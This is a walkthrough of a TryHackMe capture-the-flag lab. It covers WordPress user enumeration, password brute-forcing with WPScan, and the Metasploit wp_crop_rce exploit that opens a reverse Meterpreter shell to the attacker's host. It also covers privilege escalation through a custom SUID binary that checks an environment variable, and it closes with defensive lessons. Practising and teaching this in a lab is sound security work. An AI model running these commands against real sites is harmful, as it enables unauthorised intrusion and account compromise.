Skip to main content

Command Palette

Search for a command to run...

Blog

Updated
•6 min read•View as Markdown

Lab Info

Detail Info
Room Blog
Platform TryHackMe
Difficulty Medium
Type CTF / WordPress Exploitation + Privilege Escalation
Knowledge Required Web, WordPress, Linux, Metasploit

Tools Used

  • Nmap — Port scanning and service detection

  • WPScan — WordPress enumeration and password bruteforcing

  • Metasploit — Exploiting WordPress via wp_crop_rce

  • ltrace — Tracing library calls on a binary to understand its behavior

  • find — Locating SUID binaries and flag files

  • Exploit-DB — CVE lookup (CVE-2019-8942 )


Setup

Before anything else, this room requires adding blog.thm to /etc/hosts so the WordPress site resolves correctly:

echo "<YOUR_IP> blog.thm" >> /etc/hosts

This is common with rooms that rely on virtual hosting — the web server needs to know which site to serve based on the hostname.


Recon

nmap -A -sS -sC -sV -O blog.thm
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 (WordPress 5.0)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu

Four open ports. A few things worth noting right away:

  • Port 80 is running WordPress 5.0 — Nmap picked this up from the HTTP generator header. WordPress 5.0 is a well-known vulnerable version, so this is immediately interesting.

  • Ports 139/445 mean SMB is open. Worth checking for accessible shares later.

  • Nmap also found robots.txt disallowing /wp-admin/, confirming there's a WordPress admin panel.


WordPress Enumeration with WPScan

Since we're dealing with WordPress, WPScan is the tool of choice. First, enumerate users:

wpscan --url http://blog.thm --enumerate u

WPScan found two users:

  • kwheel (Karen Wheeler)

  • bjoel (Billy Joel)

It also confirmed WordPress 5.0 and noted that XML-RPC is enabled — this is important because WPScan can use XML-RPC to bruteforce passwords much faster than the login page.

Now bruteforce passwords against both users with a wordlist of your choice, i have rockyou.txt from SecList:

wpscan -U wp_user.txt -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt  --url http://blog.thm

After a short wait:

[SUCCESS] - kwheel / cutiepie1

We have valid credentials: kwheel:cutiepie1. Note that bjoel (Billy Joel, the owner of the blog) had a stronger password and wasn't cracked — but kwheel (Karen, another user) had a weak one. A good reminder that every account on a system is a potential entry point.


Initial Foothold — CVE-2019-8942 (wp_crop_rce)

WordPress 5.0 is vulnerable to an authenticated Remote Code Execution exploit via the image crop functionality (CVE-2019-8942 / CVE-2019-8943). The idea is simple: a logged-in user can upload a malicious image and abuse the crop feature to get it executed as PHP. Metasploit has this built in.

msfconsole -q
use exploit/multi/http/wp_crop_rce
set RHOST blog.thm
set USERNAME kwheel
set PASSWORD cutiepie1
set LHOST YOUR_IP
run
[+] Authenticated with WordPress
[*] Uploading payload...
[+] Image uploaded
[*] Meterpreter session 1 opened

We're in. Drop into a shell:

shell
SHELL=/bin/bash script -q /dev/null
whoami
# www-data

We have a shell as www-data — the web server user. Not very powerful on its own, but it's a foothold.


Privilege Escalation — Abusing a Custom SUID Binary

First thing after getting a shell: look for SUID binaries. These are files that run with the permissions of their owner (usually root) regardless of who executes them — a classic privesc vector.

find / -type f -user root -perm -u=s 2>/dev/null

Most of the results are standard Linux binaries (passwd, sudo, mount, etc.) — nothing unusual. But one stands out:

/usr/sbin/checker

checker is not a standard Linux binary. It's custom. Let's figure out what it does without running it blindly. ltrace traces library calls, which gives us a peek at what the binary is checking:

ltrace /usr/sbin/checker
getenv("admin") = nil
puts("Not an Admin")

This is the whole logic of the binary: it calls getenv("admin") to check if an environment variable called admin is set. If it's not set (nil), it prints "Not an Admin" and exits. If it is set — we can guess it spawns a shell as root.

So we just need to set that environment variable and run it:

export admin=1
/usr/sbin/checker
root@blog:/var/www/wordpress#

We're root. That's it. The binary had no authentication, no cryptographic check — just a single environment variable lookup that anyone can set.


Getting the Flags

Root Flag

cat /root/root.txt
{REDACTED}

User Flag — Watch Out for the Rabbit Hole

This one has a trap. The obvious place to look is /home/bjoel/user.txt, and it does exist. But reading it returns:

You won't find what you're looking for here. TRY HARDER

The room description literally warned us: "Or will you fall down the rabbit hole..." This was the rabbit hole.

The real user.txt is mounted on a USB drive:

find / -type f -name user.txt 2>/dev/null
# /home/bjoel/user.txt  ← troll
# /media/usb/user.txt   ← real

cat /media/usb/user.txt
{REDACTED}

Flag Summary

Flag Location
user.txt /media/usb/user.txt
root.txt /root/root.txt

Key Takeaways

1. WordPress version matters WordPress 5.0 has a well-documented authenticated RCE. Keeping your CMS updated is non-negotiable — this exploit was patched in 5.0.1.

2. Every user account is a risk bjoel (the admin) had a strong password. kwheel (a regular user) had cutiepie1. It only takes one weak account to get in. Password policies should apply to everyone on the system, not just admins.

3. XML-RPC is a bruteforcing shortcut When XML-RPC is enabled on WordPress, attackers can try thousands of passwords per request instead of one at a time. Disable it if you don't need it.

4. Custom SUID binaries are a red flag Standard Linux SUID binaries are expected and audited. A custom one like checker should immediately raise questions. Always use ltrace or strings on unknown binaries before and after running them — they often reveal the logic without you having to reverse engineer anything.

5. Environment variables are not security controls Checking getenv("admin") is not authentication. Any user can set any environment variable. Never use environment variable checks as a privilege gate.

6. Read the room description carefully The rabbit hole in /home/bjoel/user.txt was literally hinted at in the room description. In CTFs and real engagements alike, context clues matter.


Day 3 of 30 ✅ — See you tomorrow.

36 views